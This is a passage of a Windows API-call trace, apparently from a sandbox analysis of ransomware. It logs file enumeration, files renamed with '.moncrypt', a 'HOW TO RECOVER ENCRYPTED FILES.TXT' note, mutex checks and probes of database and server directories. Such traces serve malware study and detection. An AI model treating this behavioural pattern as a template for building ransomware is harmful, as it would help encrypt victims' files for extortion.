lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.723] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0052.723] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.723] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0052.723] CloseHandle (hObject=0x18c) returned 1 [0052.724] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0052.724] GetLastError () returned 0x12 [0052.724] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0052.724] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.724] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.724] GlobalUnlock (hMem=0x44000c) returned 0 [0052.724] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.724] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.724] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.724] GlobalUnlock (hMem=0x44000c) returned 0 [0052.724] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.724] GlobalUnlock (hMem=0x440004) returned 0 [0052.724] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x409add40, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x409add40, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0052.724] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0052.724] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.724] GlobalLock (hMem=0x440004) returned 0x550170 [0052.724] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.724] GlobalUnlock (hMem=0x440004) returned 0 [0052.724] GlobalLock (hMem=0x440004) returned 0x550170 [0052.725] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.725] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.725] GlobalUnlock (hMem=0x440004) returned 0 [0052.725] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.725] GlobalUnlock (hMem=0x44000c) returned 0 [0052.725] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.725] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x409add40, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x409add40, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.725] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.725] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.725] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.725] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.725] GlobalUnlock (hMem=0x44000c) returned 0 [0052.725] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.725] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.725] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.725] GlobalUnlock (hMem=0x44000c) returned 0 [0052.725] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.725] GlobalUnlock (hMem=0x440004) returned 0 [0052.725] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.725] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40987be0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x40987be0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x409add40, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0052.725] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.725] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.725] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.725] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.725] GlobalUnlock (hMem=0x440004) returned 0 [0052.725] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.726] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.726] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.726] GlobalUnlock (hMem=0x440004) returned 0 [0052.726] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.726] GlobalUnlock (hMem=0x44000c) returned 0 [0052.726] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.726] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.726] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.726] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.726] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.726] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.726] GlobalUnlock (hMem=0x44000c) returned 0 [0052.726] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.726] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.726] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.726] GlobalUnlock (hMem=0x44000c) returned 0 [0052.726] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.726] GlobalUnlock (hMem=0x440004) returned 0 [0052.726] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.726] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b366a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a8037d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b366a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbc6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD.ELM.moncrypt", cAlternateFileName="QUADEL~1.MON")) returned 1 [0052.726] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.726] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.726] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.726] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.726] GlobalUnlock (hMem=0x440004) returned 0 [0052.726] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.726] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.727] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.727] GlobalUnlock (hMem=0x440004) returned 0 [0052.727] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.727] GlobalUnlock (hMem=0x44000c) returned 0 [0052.727] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.727] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD.INF", cAlternateFileName="")) returned 1 [0052.727] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.727] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.727] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.727] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.727] GlobalUnlock (hMem=0x44000c) returned 0 [0052.727] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.727] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.727] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.727] GlobalUnlock (hMem=0x44000c) returned 0 [0052.727] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.727] GlobalUnlock (hMem=0x440004) returned 0 [0052.727] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.727] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x91bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0052.727] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.727] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.727] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.727] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.727] GlobalUnlock (hMem=0x440004) returned 0 [0052.727] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.727] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.727] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.727] GlobalUnlock (hMem=0x440004) returned 0 [0052.728] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.728] GlobalUnlock (hMem=0x44000c) returned 0 [0052.728] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.728] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x91bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0052.728] GetLastError () returned 0x12 [0052.728] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0052.728] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL", cAlternateFileName="")) returned 1 [0052.728] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0052.728] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0052.728] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.728] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.728] GlobalUnlock (hMem=0x44000c) returned 0 [0052.728] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.728] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.728] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.728] GlobalUnlock (hMem=0x44000c) returned 0 [0052.728] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.729] GlobalUnlock (hMem=0x440004) returned 0 [0052.729] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.729] GlobalLock (hMem=0x440004) returned 0x550170 [0052.729] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.729] GlobalUnlock (hMem=0x440004) returned 0 [0052.729] GlobalLock (hMem=0x440004) returned 0x550170 [0052.729] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.729] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.729] GlobalUnlock (hMem=0x440004) returned 0 [0052.729] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.729] GlobalUnlock (hMem=0x44000c) returned 0 [0052.729] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.729] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL", len=0x3e | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL") returned 1 [0052.729] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.729] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.729] GlobalUnlock (hMem=0x44000c) returned 0 [0052.729] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.729] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.729] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.729] GlobalUnlock (hMem=0x44000c) returned 0 [0052.729] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.729] GlobalUnlock (hMem=0x440004) returned 0 [0052.730] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a408, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@冾R冒R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0052.740] GetLastError () returned 0x3 [0052.740] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\radial\\") returned 0x3f [0052.740] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0052.740] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0052.741] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a408, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@儔R企@\x18㿬Q\x181")) returned 0xffffffff [0052.741] GetLastError () returned 0x2 [0052.741] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\radial\\") returned 0x3f [0052.741] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0052.741] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0052.741] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a408, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@뭼R企@\x18?T\x18;")) returned 0xffffffff [0052.741] GetLastError () returned 0x2 [0052.742] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\radial\\") returned 0x3f [0052.742] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a3c8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0052.742] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0052.742] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a408, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@ꜤR企@\x18?T\x18D")) returned 0xffffffff [0052.742] GetLastError () returned 0x2 [0052.742] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\radial\\") returned 0x3f [0052.742] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a3c8, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0052.742] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0052.742] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a408, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@儔R企@\x18뭼R\x18j")) returned 0xffffffff [0052.743] GetLastError () returned 0x2 [0052.743] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\radial\\") returned 0x3f [0052.743] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0052.743] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0052.743] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a408, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@ꜤR企@\x18?T\x18q")) returned 0xffffffff [0052.743] GetLastError () returned 0x2 [0052.743] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\radial\\") returned 0x3f [0052.743] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a3c8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\뭸RP") returned 6 [0052.744] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0052.744] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a408, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@뾴R企@\x18?T\x18y")) returned 0xffffffff [0052.744] GetLastError () returned 0x2 [0052.744] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\radial\\") returned 0x3f [0052.744] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a3c8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0052.744] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0052.744] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, 